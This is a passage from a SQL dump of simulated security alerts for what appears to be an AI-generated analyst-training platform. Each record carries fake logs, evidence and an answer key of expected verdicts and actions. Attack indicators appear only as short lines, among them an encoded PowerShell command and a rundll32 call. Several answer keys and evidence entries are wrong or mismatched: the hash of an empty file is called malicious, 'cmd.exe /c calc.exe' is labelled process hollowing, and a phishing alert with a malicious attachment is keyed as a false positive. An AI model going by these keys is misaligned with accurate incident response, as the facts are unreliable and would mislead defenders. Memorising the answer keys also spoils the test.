1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.220.101.19\\\",\\\"dst_ip\\\":\\\"192.168.3.5\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"gateway.energycorp.local\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-02T13:53:06.973Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.220.101.19\\\",\\\"dst_ip\\\":\\\"192.168.3.5\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"gateway.energycorp.local\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-02T13:52:06.973Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.220.101.19\\\",\\\"dst_ip\\\":\\\"192.168.3.5\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"gateway.energycorp.local\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-02T13:51:06.973Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.220.101.19\\\",\\\"dst_ip\\\":\\\"192.168.3.5\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"gateway.energycorp.local\\\",\\\"failed_attempts\\\":12}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1425, 'Cozy Bear Fileless Malware Detected via Process Hollowing', 'critical', 'MISP', 'A fileless malware attack using process hollowing was detected, attributed to Cozy Bear/APT29. Activity involved advanced evasion techniques.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T14:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.10\",\"dst_ip\":\"\",\"username\":\"sysadmin\",\"hostname\":\"server02.energycorp.local\",\"command_line\":\"rundll32.exe hollowed.dll,EntryPoint\"}', '2026-03-02 03:16:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"rundll32.exe hollowed.dll,EntryPoint\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command line indicative of process hollowing technique\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.4.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP executing suspicious process\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of process hollowing aligns with known Cozy Bear tactics for stealthy attacks.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.975Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"server02.energycorp.local\\\",\\\"command_line\\\":\\\"rundll32.exe hollowed.dll,EntryPoint\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.975Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"server02.energycorp.local\\\",\\\"command_line\\\":\\\"rundll32.exe hollowed.dll,EntryPoint\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.975Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"server02.energycorp.local\\\",\\\"command_line\\\":\\\"rundll32.exe hollowed.dll,EntryPoint\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.975Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"server02.energycorp.local\\\",\\\"command_line\\\":\\\"rundll32.exe hollowed.dll,EntryPoint\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.975Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"server02.energycorp.local\\\",\\\"command_line\\\":\\\"rundll32.exe hollowed.dll,EntryPoint\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1426, 'Memory-only Rootkit Detected in LSASS Process', 'critical', 'CrowdStrike', 'A memory-only rootkit was detected within LSASS process memory on a critical ICS server, potentially used for credential theft and lateral movement.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:15:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.85\",\"username\":\"admin_user\",\"hostname\":\"ICS-Server-01\",\"command_line\":\"rundll32.exe shell32.dll,Control_RunDLL\"}', '2026-03-02 03:19:01', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 123 times for C2 server activity\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal admin account\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"rundll32.exe shell32.dll,Control_RunDLL\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Commonly used for process injection\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a memory-only rootkit in LSASS indicates potential credential theft and lateral movement.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1427, 'DGA Domains Used for C2 Communication Detected', 'high', 'Carbon Black', 'A sophisticated malware using DGA domains for C2 communication was identified on a water treatment plant\'s network.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:45:21Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"198.51.100.123\",\"username\":\"operator\",\"hostname\":\"PLC-Master-01\",\"domain\":\"hdsf3d2gds.example.com\"}', '2026-03-02 03:19:01', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with DGA-based C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"hdsf3d2gds.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain used by malware for dynamic C2\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"operator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Regular operator account\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of DGA domains for C2 is indicative of an advanced persistent threat targeting the water treatment plant.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:45:21Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"198.51.100.123\\\",\\\"username\\\":\\\"operator\\\",\\\"hostname\\\":\\\"PLC-Master-01\\\",\\\"domain\\\":\\\"hdsf3d2gds.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:45:21Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"198.51.100.123\\\",\\\"username\\\":\\\"operator\\\",\\\"hostname\\\":\\\"PLC-Master-01\\\",\\\"domain\\\":\\\"hdsf3d2gds.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:45:21Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"198.51.100.123\\\",\\\"username\\\":\\\"operator\\\",\\\"hostname\\\":\\\"PLC-Master-01\\\",\\\"domain\\\":\\\"hdsf3d2gds.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:45:21Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"198.51.100.123\\\",\\\"username\\\":\\\"operator\\\",\\\"hostname\\\":\\\"PLC-Master-01\\\",\\\"domain\\\":\\\"hdsf3d2gds.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:45:21Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"198.51.100.123\\\",\\\"username\\\":\\\"operator\\\",\\\"hostname\\\":\\\"PLC-Master-01\\\",\\\"domain\\\":\\\"hdsf3d2gds.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1428, 'Suspicious Modbus Traffic Detected on SCADA Network', 'high', 'SentinelOne', 'Unusual Modbus traffic patterns were detected, potentially indicating unauthorized PLC manipulation attempt.', 'Lateral Movement', 'T1021', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T12:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.100.10\",\"dst_ip\":\"192.168.100.20\",\"username\":\"scada_user\",\"hostname\":\"SCADA-Controller\",\"domain\":\"example.com\"}', '2026-03-02 03:19:01', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.100.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP within SCADA network\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"scada_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"SCADA network user\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unusual Modbus traffic suggests a potential attempt to manipulate PLCs within the SCADA network.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.979Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.100.10\\\",\\\"dst_ip\\\":\\\"192.168.100.20\\\",\\\"username\\\":\\\"scada_user\\\",\\\"hostname\\\":\\\"SCADA-Controller\\\",\\\"domain\\\":\\\"example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.979Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.100.10\\\",\\\"dst_ip\\\":\\\"192.168.100.20\\\",\\\"username\\\":\\\"scada_user\\\",\\\"hostname\\\":\\\"SCADA-Controller\\\",\\\"domain\\\":\\\"example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.979Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.100.10\\\",\\\"dst_ip\\\":\\\"192.168.100.20\\\",\\\"username\\\":\\\"scada_user\\\",\\\"hostname\\\":\\\"SCADA-Controller\\\",\\\"domain\\\":\\\"example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.979Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.100.10\\\",\\\"dst_ip\\\":\\\"192.168.100.20\\\",\\\"username\\\":\\\"scada_user\\\",\\\"hostname\\\":\\\"SCADA-Controller\\\",\\\"domain\\\":\\\"example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.979Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.100.10\\\",\\\"dst_ip\\\":\\\"192.168.100.20\\\",\\\"username\\\":\\\"scada_user\\\",\\\"hostname\\\":\\\"SCADA-Controller\\\",\\\"domain\\\":\\\"example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1429, 'Phishing Email with Malicious URL Detected', 'medium', 'Proofpoint', 'A phishing email was detected targeting a plant operator, containing a malicious URL aimed at credential harvesting.', 'Phishing', 'T1204', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T09:05:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.90\",\"dst_ip\":\"192.168.3.25\",\"username\":\"plant_operator\",\"hostname\":\"HMI-Workstation\",\"email_sender\":\"noreply@fakebank.com\",\"url\":\"http://malicious.example.com\"}', '2026-03-02 03:19:01', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"noreply@fakebank.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Email sender associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"URL not flagged in recent scans\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email appears to be a part of a broad phishing attempt, but the URL was deemed clean upon further analysis.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious URL Detected\",\"date\":\"2026-03-02T13:55:06.981Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1430, 'Process Hollowing Detected on Critical ICS Workstation', 'critical', 'Sysmon', 'A process hollowing attack was detected on a critical ICS workstation, potentially indicating an APT-style attack aiming for data exfiltration.', 'Malware', 'T1055.012', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T11:20:37Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.15\",\"dst_ip\":\"203.0.113.95\",\"username\":\"system_admin\",\"hostname\":\"ICS-Workstation-02\",\"command_line\":\"cmd.exe /c calc.exe\"}', '2026-03-02 03:19:01', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.95\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP linked to known APT infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"cmd.exe /c calc.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command line indicative of process hollowing\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"system_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Privileged system admin account\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing detected, indicating a high-level intrusion attempt on the ICS workstation.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.982Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:20:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.15\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"username\\\":\\\"system_admin\\\",\\\"hostname\\\":\\\"ICS-Workstation-02\\\",\\\"command_line\\\":\\\"cmd.exe /c calc.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.982Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:20:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.15\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"username\\\":\\\"system_admin\\\",\\\"hostname\\\":\\\"ICS-Workstation-02\\\",\\\"command_line\\\":\\\"cmd.exe /c calc.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.982Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:20:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.15\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"username\\\":\\\"system_admin\\\",\\\"hostname\\\":\\\"ICS-Workstation-02\\\",\\\"command_line\\\":\\\"cmd.exe /c calc.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.982Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:20:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.15\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"username\\\":\\\"system_admin\\\",\\\"hostname\\\":\\\"ICS-Workstation-02\\\",\\\"command_line\\\":\\\"cmd.exe /c calc.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.982Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:20:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.15\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"username\\\":\\\"system_admin\\\",\\\"hostname\\\":\\\"ICS-Workstation-02\\\",\\\"command_line\\\":\\\"cmd.exe /c calc.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1431, 'Data Exfiltration via USB Device Detected', 'high', 'Symantec DLP', 'An employee attempted to copy sensitive company files to an unauthorized USB device. This activity was detected by the DLP system.', 'Data Exfil', 'T1059', 1, 'Closed', 266, '{\"timestamp\":\"2026-03-02T08:45:00Z\",\"event_type\":\"file_copy\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAP-123\",\"command_line\":\"copy C:\\\\Sensitive\\\\report.pdf E:\\\\\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-02 03:22:45', '2026-03-09 13:26:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the employee\'s machine\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with unauthorized data exfiltration attempts\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The file hash is connected to known unauthorized data exfiltration activities. Immediate action is required.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.984Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:00Z\\\",\\\"event_type\\\":\\\"file_copy\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-123\\\",\\\"command_line\\\":\\\"copy C:\\\\\\\\Sensitive\\\\\\\\report.pdf E:\\\\\\\\\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.984Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:00Z\\\",\\\"event_type\\\":\\\"file_copy\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-123\\\",\\\"command_line\\\":\\\"copy C:\\\\\\\\Sensitive\\\\\\\\report.pdf E:\\\\\\\\\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.984Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:00Z\\\",\\\"event_type\\\":\\\"file_copy\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-123\\\",\\\"command_line\\\":\\\"copy 